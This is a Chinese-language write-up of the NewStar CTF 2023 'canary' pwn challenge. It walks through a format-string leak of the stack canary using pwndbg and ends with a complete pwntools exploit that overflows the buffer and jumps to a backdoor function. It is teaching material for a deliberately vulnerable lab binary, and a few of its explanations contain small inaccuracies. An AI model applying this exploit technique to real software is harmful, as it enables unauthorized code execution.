NewStar2023_Canary

1. Canary 是什麼?

Canary (金絲雀) 是一種用來防止緩衝區溢位攻擊的保護機制。程式會在函式開始時在堆疊上放置一個隨機的值 (Canary),並在函式返回前檢查這個值是否被改變。如果被改變,表示發生了緩衝區溢位,程式會立即終止。

在 32 位元程式中,Canary 通常是一個 4 位元組的值,並且以 \x00 結尾。它被放在 saved EBP (舊的 EBP) 和區域變數之間。

2.看看程式的資訊

925cf0f80b5f3bad48b8b9ca73cf5957.png

是一個64位的ELF , 開了NX 和CANARY 和 RELERO

今次我們要學習如何用pwndbg來找出canary

先看看IDA的偽代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("Welcome to NewStar CTF!!");
puts("Give me some gift?");
read(0, buf, 0x20u);
puts("Oh thanks,There is my gift:");
printf(buf);
puts("Show me your magic");
read(0, buf, 0x100u);
return 0;
}

可以看見有兩個read函數 和一個printf函數 , read(0, buf, 0x20u); 第一個的read讀取20個字節(u) , 第二個100字節(u) , 由於開了NX 不能用shellcode , 要用後門函數或ROP鏈 ,

在IDA發現了backdoor函數:

375c9a3e1f280ef206960f1bfaa90216.png 91ac1c6d344675c4fdab435647931ac9.png

backdoor : 0x401262

我們要在print找到canary 再用recvuntil()截取地址 , 最後在payload 中加入canary

首先叫出偉大的gdb大人 , 下一個斷點在read 函數那:

1543c2757effce1d49829104a1a8b3f0.png
  1. b* main
  2. b *0x401310
  3. b *0x401335
  4. b *0x40135A
  5. cyclic 20 生成一個20字節的字符串 , 看看cyclic
  6. stack 30
5ff12d98052698996f80eff1c506df62.png

0x00 是 canary 小金絲鳥是00 , 不難看 在 rbp-0x8那有一個00 地址是: 0x7fffffffd598

1
05:0028│-008     0x7fffffffd598 ◂— 0x2ae9f13115290200

在gdb canary一下沒出來 :
07b6e380a5d375a6276f404ec46e2f42.png

–all 一下 : 出來捏

078ebb6ca03cf8249cb81d4562e25bef.png

在-008那 , 那麼算一算偏移量: 5

67d1a20f339b7c34c181e34ab985583b.png 8d0f4205b9f19924d5d45ed3846f9121.png

16*6 是canary , /16 = 6

不難看出字符串偏移量為6 , 6+5 = %11$p

現在寫一寫payload思路 :

1
p.sendline(b'aaaaaa %11$p')
ffa12e0ad0da22c35e68de34f82120e3.png

成功打印出來了 ,

55b2f70596f9090b7b0ab3303559a784.png

那我可以寫一下payload 了 , 垃圾數據+canary+rbp(0x8)+返回地址

1
payload = b'a'*(0x98-0x70)+p64(canary)+b'a'*0x8+p64(shell_addr)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#p = remote('node5.anna.nssctf.cn', 22047)
p = process("./canary")
elf = ELF("./canary")

context(arch='amd64', os='linux', log_level='debug')

shell_addr = 0x401262

p.sendlineafter('Give me some gift?',b'aaaaa%11$p')
p.recvuntil('aaaaa')
canary = int(p.recvuntil(b'00').decode(),16)
payload = b'a'*(0x98-0x70) + p64(canary) + b'a'*0x8 + p64(shell_addr)
p.sendlineafter('Show me your magic' , payload)
p.interactive()
f71571a040bd1bfb5e48831796692882.png 9e6b1f0ce6cc87c18d40d490fbac1cde.png